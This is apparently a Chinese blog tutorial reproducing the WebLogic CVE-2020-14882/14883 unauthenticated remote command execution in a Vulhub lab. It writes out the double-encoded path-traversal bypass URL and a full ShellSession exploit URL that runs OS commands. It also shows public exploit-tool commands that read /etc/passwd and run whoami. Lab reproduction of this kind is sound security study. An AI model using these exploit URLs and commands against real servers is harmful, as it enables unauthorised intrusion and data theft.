当前位置: 首页 > news >正文

WebLogic未授权远程命令执行漏洞复现:原理详解+环境搭建+渗透实践(CVE-2020-14882、CVE-2020-14883)

目录

一、WebLogic未授权远程命令执行漏洞

1、漏洞简介

2、漏洞原理

(1)正常访问流程

(2)权限绕过(CVE-2020-14882):

(3)命令执行(CVE-2020-14883):

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

三、未授权访问管理员后台

1、渗透实战

2、原理分析

四、命令执行(无回显)

1、构造PoC攻击URL

2、执行攻击PoC

3、查看攻击效果

五、命令执行(有回显)

1、攻击脚本下载

2、执行攻击

(1)查看cat /etc/passwd

(2)执行whoami命令

(3)执行ls命令


本文详细讲解WebLogic的CVE-2020-14882和CVE-2020-14883漏洞渗透的原理与渗透全流程。WebLogic的CVE-2020-14882漏洞可绕过认证直接访问管理后台并执行任意命令。该漏洞影响多个WebLogic版本,通过构造特殊URL(含双重编码的路径遍历)可绕过权限校验,结合CVE-2020-14883漏洞实现命令执行。实验环境使用Vulhub搭建,成功复现未授权访问和文件创建操作。攻击者可利用公开工具执行系统命令并获取回显(如查看/etc/passwd、执行whoami等)。该漏洞危害严重,建议及时升级修复。

一、WebLogic未授权远程命令执行漏洞

1、漏洞简介

WebLogic 未授权远程命令执行漏洞(CVE-2020-14882)是 Oracle WebLogic Server 中的一个严重安全漏洞。攻击者可以通过构造特殊的恶意HTTP请求,在未经过任何身份验证的情况下,直接访问WebLogic管理控制台的后台接口。结合另一个漏洞CVE-2020-14883(管理控制台中的命令执行漏洞),可以实现完整的未授权远程命令执行。

  • CVE编号:CVE-2020-14882

  • 漏洞类型权限绕过导致的未授权远程命令执行

  • 危害等级高危 或 严重 (Critical)

  • 影响版本

    • Oracle WebLogic Server 10.3.6.0.0

    • Oracle WebLogic Server 12.1.3.0.0

    • Oracle WebLogic Server 12.2.1.3.0

    • Oracle WebLogic Server 12.2.1.4.0

    • Oracle WebLogic Server 14.1.1.0.0

2、漏洞原理

(1)正常访问流程

正常情况下,任何尝试访问WebLogic管理控制台(通常位于/console/)的请求,都会被重定向到登录页面(/console/login/LoginForm.jsp)。只有提供了有效的管理员凭证后,才能访问后台功能。

(2)权限绕过(CVE-2020-14882)

WebLogic对访问控制台的URL路径进行了校验,但其校验逻辑存在缺陷。攻击者可以通过以下方式绕过认证:

  • 在请求的URL中插入特殊字符(如%252e%252e/%2e%2e%2f,这些是../的双重URL编码形式),或者使用/console/console/这样的重复路径。

  • 这种特殊的构造方式会欺骗WebLogic的权限校验机制,使其认为该请求是用于获取静态资源(如图片、CSS文件)或某些无需认证的公共接口,从而绕过了身份验证检查。

  • 最终,攻击者可以直接访问到本应需要管理员权限才能访问的后台Servlet接口

(3)命令执行(CVE-2020-14883)

光绕过认证还不够,还需要一个可以执行命令的“抓手”。CVE-2020-14883就是这个抓手。

  • 它是一个存在于WebLogic管理控制台组件中的代码执行漏洞。

  • 当攻击者通过CVE-2020-14882绕过认证后,可以访问到某个存在缺陷的后台Servlet(如ConsoleServlet),并向其传递恶意参数。

  • 该Servlet在处理这些参数时,会最终调用Java的Runtime.getRuntime().exec()函数,从而执行攻击者提供的操作系统命令。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现Jenkins-CI漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

cd weblogic
cd CVE-2020-14882

4、启动漏洞环境

在CVE-2020-14882目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器

docker-compose up -d

命令执行后,Docker 会完成拉取一个包含weblogic12.2.1.3-2018(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,说明由Vulhub 项目提供的 WebLogic 漏洞镜像(版本 12.2.1.3,存在 CVE-2020-14882 漏洞),容器已正常运行 17 分钟,通过宿主机器的 7001 端口可访问容器内的 WebLogic 管理控制台,可用于测试 CVE-2020-14882 漏洞的利用。

docker ps           
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS         PORTS                                             NAMES
fe62aa6e46ca   vulhub/weblogic:12.2.1.3-2018   "/u01/oracle/createA…"   17 minutes ago   Up 17 minutes   0.0.0.0:7001->7001/tcp, :::7001->7001/tcp         cve-2020-14882_weblogic_1
字段值字段含义详细说明
fe62aa6e46ca容器 ID(Container ID)Docker 为每个运行的容器分配的唯一 64 位十六进制 ID,此处显示前 12 位缩写形式。可通过该 ID 操作容器(如停止、删除、进入容器等,例:docker stop fe62aa6e46ca)。
vulhub/weblogic:12.2.1.3-2018基础镜像(Image)vulhub:是一个知名的漏洞环境镜像仓库,专门提供各类漏洞的可复现 Docker 镜像,方便安全测试、漏洞学习使用。
weblogic:镜像对应的应用程序,即 Oracle WebLogic Server。
12.2.1.3-2018:镜像标签,明确该 WebLogic 的版本为12.2.1.3(属于 CVE-2020-14882 漏洞的影响版本之一),且镜像构建基于 2018 年的基础环境(未修复后续漏洞)。
"/u01/oracle/createA…"容器启动命令(Command)容器启动时执行的初始化脚本路径(完整路径通常为/u01/oracle/createAndStartWebLogic.sh),作用是自动创建 WebLogic 域、配置服务,并启动 WebLogic 服务器,确保容器启动后可直接访问 WebLogic 服务。
17 minutes ago容器创建时间该容器在查看命令执行前 17 分钟被创建。
Up 17 minutes容器运行状态容器已持续运行 17 分钟(“Up” 表示正常运行中;若为 “Exited” 则表示已停止)。
0.0.0.0:7001->7001/tcp, :::7001->7001/tcp端口映射(Ports)Docker 的端口转发配置:
- 宿主机器(你的本地电脑或服务器)的7001端口(TCP 协议),映射到容器内部的7001端口。
0.0.0.0:7001表示 IPv4 地址上所有网卡的 7001 端口都可访问;:::7001表示 IPv6 地址的同样配置。
- WebLogic 的默认管理控制台端口就是7001,因此可通过http://宿主IP:7001/console访问容器内的 WebLogic 控制台。
cve-2020-14882_weblogic_1容器名称(Name)用户(或 Vulhub 脚本)为容器指定的名称,明确指向该容器的用途:用于复现CVE-2020-14882 漏洞的 WebLogic 容器,后缀_1通常是批量创建时的序号(若只创建 1 个,则为_1)。

三、未授权访问管理员后台

1、渗透实战

Docker启动完成后,攻击者可以构造特殊请求的URL,即可直接访问到管理后台页面:访问http://192.168.59.128:7001/console/css/%252e%252e%252fconsole.portal,如下所示未授权访问成功。

2、原理分析

我们来分析这个URL的含义,攻击者试图让WebLogic认为这是一个对静态资源 (/css/目录) 的请求,从而绕过对 /console.portal 这个敏感接口的权限检查。通过路径遍历,最终成功访问到需要高权限的 console.portal 接口,而无需提供任何管理员用户名和密码。

http://192.168.59.128:7001/console/css/%252e%252e%252fconsole.portal
  • %252e%252e%252f 是双重URL编码后的 ../

    • 第一层解码:Web服务器或Java应用会首先对URL进行解码,将 %25 解码成 % 符号本身。所以解码后变成:%2e%2e%2f

      • %2e -> .

      • %2f -> /

    • 第二层解码:WebLogic在处理路径时,可能会再次进行解码(或规范化),于是 %2e%2e%2f 被第二次解码,最终变成:../

    • 最终效果:整个路径在经过两次解码后,被WebLogic理解为:/console/css/../console.portal

  • 经过所有解码后,WebLogic最终处理的实际路径是:/console/css/../console.portal在操作系统中,../ 表示上级目录。路径遍历后,上述路径等价于:/console/console.portal

四、命令执行(无回显)

1、构造PoC攻击URL

我们尝试执行一个命令,例如 touch /tmp/mooyuan888。如果成功,会在目标服务器的 /tmp 目录下创建一个名为mooyuan888的文件,这是漏洞利用成功的标志。我们先进入容器,查看下/tmp下文件,如下所示不存在mooyuan888这个文件。

将攻击者想对192.168.59.128执行攻击命令(touch /tmp/mooyuan888),攻击命令为exec('touch%20/tmp/mooyuan888')。CVE-2020-14883中构造URL攻击PoC,注意黄色字体,http://192.168.59.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/mooyuan888');") 访问URL如下所示。

http://192.168.59.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/mooyuan888');")
  • ?_nfpb=true&_pageLabel=: 这些是 console.portal 接口预期的正常参数,用于使请求看起来合法。

  • &handle=com.tangocl.coherence.mvel2.sh.ShellSession(...)这是攻击的核心

    • handle: 漏洞参数。

    • com.tangosol.coherence.mvel2.sh.ShellSession: 一个WebLogic内置的类,可以执行MVEL表达式。

    • java.lang.Runtime.getRuntime().exec(...): 在MVEL表达式中调用Java方法,用于执行系统命令。

2、执行攻击PoC

通过访问构造的ULR,攻击者发送这个精心构造的HTTP请求到目标WebLogic服务器。

3、查看攻击效果

查看/tmp路径下的文件及子路径,如下所示在/tmp路径下成功创建了mooyuan888文件,命令执行成功!至此,漏洞复现成功。

五、命令执行(有回显)

1、攻击脚本下载

CVE-2020-14882_ALL综合利用工具,支持命令回显检测,Github库地址如下所示。

https://github.com/GGyao/CVE-2020-14882_ALL

2、执行攻击

(1)查看cat /etc/passwd

python CVE-2020-14882_ALL.py -u http://192.168.59.128:7001 -c "cat /etc/passwd"

(2)执行whoami命令

python CVE-2020-14882_ALL.py -u http://192.168.59.128:7001 -c "whoami"

(3)执行ls命令

python CVE-2020-14882_ALL.py -u http://192.168.59.128:7001 -c "ls"

http://www.dtcms.com/a/546434.html

相关文章:

  • 公司响应式网站建设平台中交路桥建设有限公司中标
  • 邢路桥建设总公司网站html网页设计模板免费下载
  • 团队做网站的收获甘肃省城乡和住房建设厅网站
  • 这样做自己公司的网站开发手机app价格
  • 【泛微-注册安全分析报告】
  • 网站建设动画代码软装搭配设计师培训
  • 实现Spring IoC
  • 中国城乡与建设部网站制作网页时一般需要兼容下列选项中的哪些浏览器
  • Vue3 全面学习指南 - 从入门到实战
  • 等保测评取消打分,《网络安全等级测评报告模版(2025版)》重大变更,详细解读两细化、三变更、五新增
  • 响应式商场网站百度公司招聘信息
  • pytorch-数值微分
  • 网站赚钱方法花艺企业网站建设规划
  • 网站开发工具书营销型网站建设项目需求表
  • JAVA的项目复制
  • 关于架构设计的依赖关系
  • 网站优化费用报价明细唐山百度做网站多少钱
  • 旅游门户网站模板下载茂民网站建设
  • ​(吉林版)安全员C证模拟考试练习题与答案
  • 城乡住房建设网站介绍常见的网络营销方式
  • RAG与数据预测的结合应用(1) - 语义相似度的提升
  • 有模板了怎么建设网站哪家公司建设网站好
  • 36氪国外做网站青岛网站设计建议i青岛博采网络
  • 网站开发作业汕头专业网站建设流程
  • (华为欧拉系统)openEuler-22.03、openEuler-24.03安装-MySQL-8.0和MySQL-8.4
  • 就业创业网站建设长春做网站选长春万网
  • @Required注解有什么用?
  • ARM《7》_编译生成linux内核中的内核模块
  • STM32H743-ARM例程33-TOUCH
  • 大型网站开发团队网站更换模板